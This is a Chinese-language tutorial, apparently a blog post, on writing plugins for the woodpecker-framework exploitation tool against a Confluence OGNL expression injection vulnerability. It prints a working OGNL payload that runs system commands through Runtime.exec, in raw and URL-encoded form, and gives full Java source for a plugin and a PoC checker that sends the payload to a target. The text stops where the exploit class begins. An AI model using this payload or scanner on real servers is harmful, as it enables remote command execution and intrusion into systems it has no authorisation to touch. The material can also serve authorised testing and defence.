woodpecker介绍

https://github.com/woodpecker-framework/woodpecker-framework-release

woodpecker-framework是一款漏洞精准检测深度利用框架，只做一件事：精准狙击高危漏洞。

针对人群：专业打点人士。

目标探测
精准检测
深度利用
荷载生成

woodpecker使用

java -jar woodpecker-framework.1.3.5.jar

运行之后，会自动生成common、config.db、plugin

plugin用来存放woopecker插件。

插件编写

安装环境

woodpecker-sdk

woodpecker-sdk是woodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。开发者可以通过接口编写插件实现自己想要的功能。

https://github.com/woodpecker-framework/woodpecker-sdk

下载下来，解压，使用IDE打开项目，点击右侧“install”。

woodpecker-request

woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

https://github.com/woodpecker-framework/woodpecker-requests

下载下来，解压，使用IDE打开项目，点击右侧“install”。

Confluence OGNL表达式注入漏洞插件编写

创建Package包和Class类

创建Package包

exploit
pocs
utils

和Class类

ConfluenceVulPlugin（不固定，和漏洞名相关）
WoodpeckerPluginManager整个程序的入口
ConfluenceOgnlPoc（不固定，和漏洞名相关）
ConfluenceOgnlExp（不固定，和漏洞名相关）

编写POC

漏洞POC

http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/

进行url编码为：

/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/

代码编写

WoodpeckerPluginManager类：（整个插件的入口）

package me.gv7.woodpecker.plugin;// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{@Overridepublic void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {// 注册漏洞插件iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );}
}

ConfluenceVulPlugin类：（具体的漏洞插件类）

package me.gv7.woodpecker.plugin;import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;import java.util.ArrayList;
import java.util.List;// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{public static IVulPluginCallbacks callbacks;public static IPluginHelper pluginHelper;@Overridepublic void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {this.callbacks = iVulPluginCallbacks;this.pluginHelper = iVulPluginCallbacks.getPluginHelper();iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述// 注册漏洞验证模块iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());// 注册漏洞利用模块（利用模块可以有多个)List<IExploit> exploitList = new ArrayList();exploitList.add(new ConfluenceOgnlExp());iVulPluginCallbacks.registerExploit(exploitList);}
}

ConfluenceOgnlPoc类：

package me.gv7.woodpecker.plugin.pocs;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.util.HashMap;
import java.util.Map;
import java.util.Objects;public class ConfluenceOgnlPoc implements IPoc {@Overridepublic IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {// 创建输出模块，用作结果的输出IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();// 设置目标地址，iTarget.getAddress()由插件面板获取地址scanResult.setTarget(iTarget.getAddress());// 调用漏洞验证函数Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());scanResult.setExists((Boolean) responseMap.get("flag"));scanResult.setMsg((String) responseMap.get("results"));iResultOutput.infoPrintln((String) responseMap.get("results"));return scanResult;}// 漏洞验证函数private Map<String, Object> checkConfluenceOgnl(String address){Map<String,Object> responseMap = new HashMap<>();boolean flag = false;String results  = null;try {/*Requests.get()发送一个get请求（验证漏洞的POC）。verify(false) : 忽略https证书失效timeout(3000) : 超时时间3000毫秒send() : 发送*/RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();String header = response.getHeader("X-Response");if(response.statusCode() == 302 && header.contains("ognlinject")){flag = true;results = String.format("%s存在命令注入漏洞！！！",address);}else {flag = false;results = String.format("%s不存在命令注入漏洞",address);}}catch (Exception e){flag = false;results = String.format("%s不存在命令注入漏洞",address);}finally {// 设置responseMap的值，将flag和results带回去responseMap.put("flag",flag);responseMap.put("results",results);}// 返回return responseMap;}
}

编写EXP

代码编写

ConfluenceOgnlExp类：

package me.gv7.woodpecker.plugin.exploit;import me.gv7.woodpecker.plugin.*;
